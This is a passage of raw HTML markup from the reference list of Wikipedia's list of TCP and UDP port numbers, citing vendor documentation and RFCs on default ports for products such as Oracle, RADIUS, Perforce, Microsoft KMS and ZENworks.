class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-ibm-support-swg21625297_133-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-ibm-support-swg21625297_133-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-ibm-support-swg21625297_133-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-ibm-support-swg21625297_133-3\"><sup><i><b>d</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www-01.ibm.com/support/docview.wss?uid=swg21625297\">\"Open communication ports required by IBM Tivoli Storage Manager for Virtual Environments 6.4\"</a>. Support. <i>IBM</i>. IBM. 2016-05-09. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827134317/https://www-01.ibm.com/support/docview.wss?uid=swg21625297\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=IBM&amp;rft.atitle=Open+communication+ports+required+by+IBM+Tivoli+Storage+Manager+for+Virtual+Environments+6.4&amp;rft.date=2016-05-09&amp;rft_id=https%3A%2F%2Fwww-01.ibm.com%2Fsupport%2Fdocview.wss%3Fuid%3Dswg21625297&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-kb-927847-134\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-msft-kb-927847_134-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"//support.microsoft.com/kb/927847\">\"Network ports and URLs that are used by Windows Live Messenger\"</a>. <i>Support</i>. <a href=\"/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Support&amp;rft.atitle=Network+ports+and+URLs+that+are+used+by+Windows+Live+Messenger&amp;rft_id=%2F%2Fsupport.microsoft.com%2Fkb%2F927847&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-135\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-135\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.oracle.com/cd/B19306_01/network.102/b14213/protocoladd.htm#i470539\">\"Recommended Port Numbers\"</a>. Oracle<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2015-11-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Recommended+Port+Numbers&amp;rft.pub=Oracle&amp;rft_id=https%3A%2F%2Fdocs.oracle.com%2Fcd%2FB19306_01%2Fnetwork.102%2Fb14213%2Fprotocoladd.htm%23i470539&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-toadworld-1635-136\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-toadworld-1635_136-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHilker2013\" class=\"citation encyclopaedia cs1\">Hilker, Steve (2013-03-13). <a rel=\"nofollow\" class=\"external text\" href=\"http://www.toadworld.com/platforms/oracle/w/wiki/1635.oracle-default-port-numbers\">\"Oracle Default Port Numbers\"</a>. <i>Oracle Wiki</i>. Toad World. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827141242/http://www.toadworld.com/platforms/oracle/w/wiki/1635.oracle-default-port-numbers\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Oracle+Default+Port+Numbers&amp;rft.btitle=Oracle+Wiki&amp;rft.pub=Toad+World&amp;rft.date=2013-03-13&amp;rft.aulast=Hilker&amp;rft.aufirst=Steve&amp;rft_id=http%3A%2F%2Fwww.toadworld.com%2Fplatforms%2Foracle%2Fw%2Fwiki%2F1635.oracle-default-port-numbers&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-apache-derby-into-137\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-apache-derby-into_137-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://db.apache.org/derby/papers/DerbyTut/ns_intro.html\">\"Start Network Server\"</a>. <i>The Apache DB Project</i>. Derby Tutorial. Apache Software Foundation (published 2016-03-23). 2008-04-30. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827142602/https://db.apache.org/derby/papers/DerbyTut/ns_intro.html\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>Start the Network server by executing the startNetworkServer.bat (Windows) or startNetworkServer (UNIX) script. This will start the Network Server up on port 1527&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=The+Apache+DB+Project&amp;rft.atitle=Start+Network+Server&amp;rft.date=2008-04-30&amp;rft_id=https%3A%2F%2Fdb.apache.org%2Fderby%2Fpapers%2FDerbyTut%2Fns_intro.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Eclipse_Foundation-138\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Eclipse_Foundation_138-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.eclipse.org/tcf/\">\"eclipse.org\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">26 June</span> 2018</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=eclipse.org&amp;rft_id=https%3A%2F%2Fwww.eclipse.org%2Ftcf%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-enterprise1c-ports-139\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-enterprise1c-ports_139-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-enterprise1c-ports_139-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-enterprise1c-ports_139-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-enterprise1c-ports_139-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-enterprise1c-ports_139-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-enterprise1c-ports_139-5\"><sup><i><b>f</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://1c-dn.com/library/system_requirements/#Ports\">\"1C:Enterprise System Requirements\"</a>. <i>1c-dn.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">6 June</span> 2018</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=1c-dn.com&amp;rft.atitle=1C%3AEnterprise+System+Requirements&amp;rft_id=https%3A%2F%2F1c-dn.com%2Flibrary%2Fsystem_requirements%2F%23Ports&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-enterprise1c-admin-guide-140\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-enterprise1c-admin-guide_140-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://1c-dn.com/library/administrator_guide/\">\"1C:Enterprise Administrator Guide\"</a>. <i>1c-dn.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">6 June</span> 2018</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=1c-dn.com&amp;rft.atitle=1C%3AEnterprise+Administrator+Guide&amp;rft_id=https%3A%2F%2F1c-dn.com%2Flibrary%2Fadministrator_guide%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-PSQLVx_SP3_readme-141\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-PSQLVx_SP3_readme_141-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-PSQLVx_SP3_readme_141-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.pervasive.com/Portals/55/documents/psqlVx/PSQLVx_SP3_readme.htm\">\"Pervasive PSQL Vx Server 11 SP3 Release Notes\"</a>. <i>Pervasive PSQL</i>. 2013<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>...&#160;Pervasive PSQL Vx Server 11 SP3 communicates via the following ones: 3351 for the transactional interface, 1583 for the relational interface, and 139 for named pipes.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Pervasive+PSQL&amp;rft.atitle=Pervasive+PSQL+Vx+Server+11+SP3+Release+Notes&amp;rft.date=2013&amp;rft_id=http%3A%2F%2Fwww.pervasive.com%2FPortals%2F55%2Fdocuments%2FpsqlVx%2FPSQLVx_SP3_readme.htm&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-isketch-help-142\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-isketch-help_142-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-isketch-help_142-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.isketch.net/instructions/help.shtml\">\"FAQ: Frequently Asked Questions\"</a>. <i>iSketch</i>. n.d. Connection problems. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827152128/http://www.isketch.net/instructions/help.shtml\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>...&#160;allow TCP/IP connections on port 1626 &amp; 1627 (1627 only needed for sending sketches.)</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=iSketch&amp;rft.atitle=FAQ%3A+Frequently+Asked+Questions&amp;rft.chron=n.d.&amp;rft.pages=Connection+problems&amp;rft_id=http%3A%2F%2Fwww.isketch.net%2Finstructions%2Fhelp.shtml&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-juniper-radius-overview-143\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-juniper-radius-overview_143-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-juniper-radius-overview_143-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.juniper.net/techpubs/software/aaa_802/sbrc/sbrc70/sw-sbrc-admin/html/Concepts2.html\">\"RADIUS Overview\"</a>. <i>juniper.net</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=juniper.net&amp;rft.atitle=RADIUS+Overview&amp;rft_id=http%3A%2F%2Fwww.juniper.net%2Ftechpubs%2Fsoftware%2Faaa_802%2Fsbrc%2Fsbrc70%2Fsw-sbrc-admin%2Fhtml%2FConcepts2.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc6613-144\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc6613_144-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc6613_144-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFDeKok2012\" class=\"citation cs1\">DeKok, Alan (May 2012). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6613#page-7\">\"Assigned Ports for RADIUS/TCP\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6613\"><i>RADIUS over TCP</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;7. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC6613\">10.17487/RFC6613</a></span>. <a href=\"/wiki/ISSN_(identifier)\" class=\"mw-redirect\" title=\"ISSN (identifier)\">ISSN</a>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"//www.worldcat.org/issn/2070-1721\">2070-1721</a>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6613\">6613</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Assigned+Ports+for+RADIUS%2FTCP&amp;rft.btitle=RADIUS+over+TCP&amp;rft.pages=p.-7&amp;rft.pub=IETF&amp;rft.date=2012-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC6613&amp;rft.issn=2070-1721&amp;rft.aulast=DeKok&amp;rft.aufirst=Alan&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6613%26%23035%3Bpage-7&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-perforce-cmdref-p4port-145\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-perforce-cmdref-p4port_145-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.perforce.com/perforce/r12.1/manuals/cmdref/env.P4PORT.html\">\"P4PORT\"</a>. <i>Perforce</i>. 2012. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827155413/https://www.perforce.com/perforce/r12.1/manuals/cmdref/env.P4PORT.html\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>...&#160;Valid communications protocols are <code>tcp</code> (plaintext over TCP/IP) or <code>ssl</code> (SSL over TCP/IP).</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Perforce&amp;rft.atitle=P4PORT&amp;rft.date=2012&amp;rft_id=https%3A%2F%2Fwww.perforce.com%2Fperforce%2Fr12.1%2Fmanuals%2Fcmdref%2Fenv.P4PORT.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-tn-ee939272-146\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-msft-tn-ee939272_146-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/ee939272.aspx\">\"How to troubleshoot the Key Management Service (KMS)\"</a>. <i>TechNet</i>. Microsoft. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160325190150/https://technet.microsoft.com/en-us/library/ee939272.aspx\">Archived</a> from the original on 2016-03-25<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>...&#160;1688 is the default TCP port used by the clients to connect to the KMS host.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=TechNet&amp;rft.atitle=How+to+troubleshoot+the+Key+Management+Service+%28KMS%29&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fee939272.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc3193-147\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc3193_147-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPatelAbodaDixonZorn2001\" class=\"citation cs1\">Patel, Baiju V.; Aboda, Bernard; Dixon, William; Zorn, Glen; Booth, Skip (November 2001). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3193\"><i>Securing L2TP using IPsec</i></a>. Thanks to Gurdeep Singh Pall, David Eitelbach, Peter Ford, Sanjay Anand, John Richardson, Rob Adams. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;8–14, 23–26. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC3193\">10.17487/RFC3193</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3193\">3193</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Securing+L2TP+using+IPsec&amp;rft.pages=pp.-8-14%2C+23-26&amp;rft.pub=IETF&amp;rft.date=2001-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC3193&amp;rft.aulast=Patel&amp;rft.aufirst=Baiju+V.&amp;rft.au=Aboda%2C+Bernard&amp;rft.au=Dixon%2C+William&amp;rft.au=Zorn%2C+Glen&amp;rft.au=Booth%2C+Skip&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc3193&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-148\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-148\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://userbase.kde.org/KDEConnect#I_have_two_devices_running_KDE_Connect_on_the_same_network.2C_but_they_can.27t_see_each_other\">\"KDEConnect\"</a>. <i>KDE UserBase Wiki</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2 March</span> 2022</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=KDE+UserBase+Wiki&amp;rft.atitle=KDEConnect&amp;rft_id=https%3A%2F%2Fuserbase.kde.org%2FKDEConnect%23I_have_two_devices_running_KDE_Connect_on_the_same_network.2C_but_they_can.27t_see_each_other&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-aa-manual-ls-149\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-aa-manual-ls_149-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFJleekeTickner2006\" class=\"citation encyclopaedia cs1\">Jleeke; Tickner, Patrick (2006-10-04). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160816072522/http://manual.americasarmy.com/index.php/Linux_Server\">\"Linux Server\"</a>. <i>AAManual (America's Army Game Manual)</i>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://manual.americasarmy.com/index.php/Linux_Server\">the original</a> on 2016-08-16<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>...&#160;The port the server will listen on. The default port is 1716.</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Linux+Server&amp;rft.btitle=AAManual+%28America%27s+Army+Game+Manual%29&amp;rft.date=2006-10-04&amp;rft.au=Jleeke&amp;rft.au=Tickner%2C+Patrick&amp;rft_id=http%3A%2F%2Fmanual.americasarmy.com%2Findex.php%2FLinux_Server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-novell-kb-3880659-150\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-novell-kb-3880659_150-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.novell.com/support/kb/doc.php?id=3880659\">\"Ports used by some ZENworks products\"</a>. <i>Novell Support Knowledgebase</i>. Micro Focus (published 2007-04-18). 2012-04-30. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827170337/https://www.novell.com/support/kb/doc.php?id=3880659\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Novell+Support+Knowledgebase&amp;rft.atitle=Ports+used+by+some+ZENworks+products&amp;rft.date=2012-04-30&amp;rft_id=https%3A%2F%2Fwww.novell.com%2Fsupport%2Fkb%2Fdoc.php%3Fid%3D3880659&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-novell-zen11-b18151xi-151\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-novell-zen11-b18151xi_151-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.novell.com/documentation/zenworks114/zen11_sys_servers/data/b18151xi.html?view=print\">\"TCP and UDP Ports Used by ZENworks Primary Servers\"</a>. <i>ZENworks 11 SP4 Primary Server and Satellite Reference</i>. Novell (published 2016-05-31). 2016-06-16. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827165833/https://www.novell.com/documentation/zenworks114/zen11_sys_servers/data/b18151xi.html?view=print\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-07</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=ZENworks+11+SP4+Primary+Server+and+Satellite+Reference&amp;rft.atitle=TCP+and+UDP+Ports+Used+by+ZENworks+Primary+Servers&amp;rft.date=2016-06-16&amp;rft_id=https%3A%2F%2Fwww.novell.com%2Fdocumentation%2Fzenworks114%2Fzen11_sys_servers%2Fdata%2Fb18151xi.html%3Fview%3Dprint&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-nodered-docs-config-152\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-nodered-docs-config_152-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://nodered.org/docs/configuration\">\"Configuration\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://nodered.org/docs/\"><i>Node-RED Documentation</i></a>. IBM Emerging Technologies. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160909034037/http://nodered.org/docs/configuration\">Archived</a> from the original on 2016-09-09<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-09</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Configuration&amp;rft.btitle=Node-RED+Documentation&amp;rft.pub=IBM+Emerging+Technologies&amp;rft_id=http%3A%2F%2Fnodered.org%2Fdocs%2Fconfiguration&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-adobe-helpx-ports-firewalls-153\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-adobe-helpx-ports-firewalls_153-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" 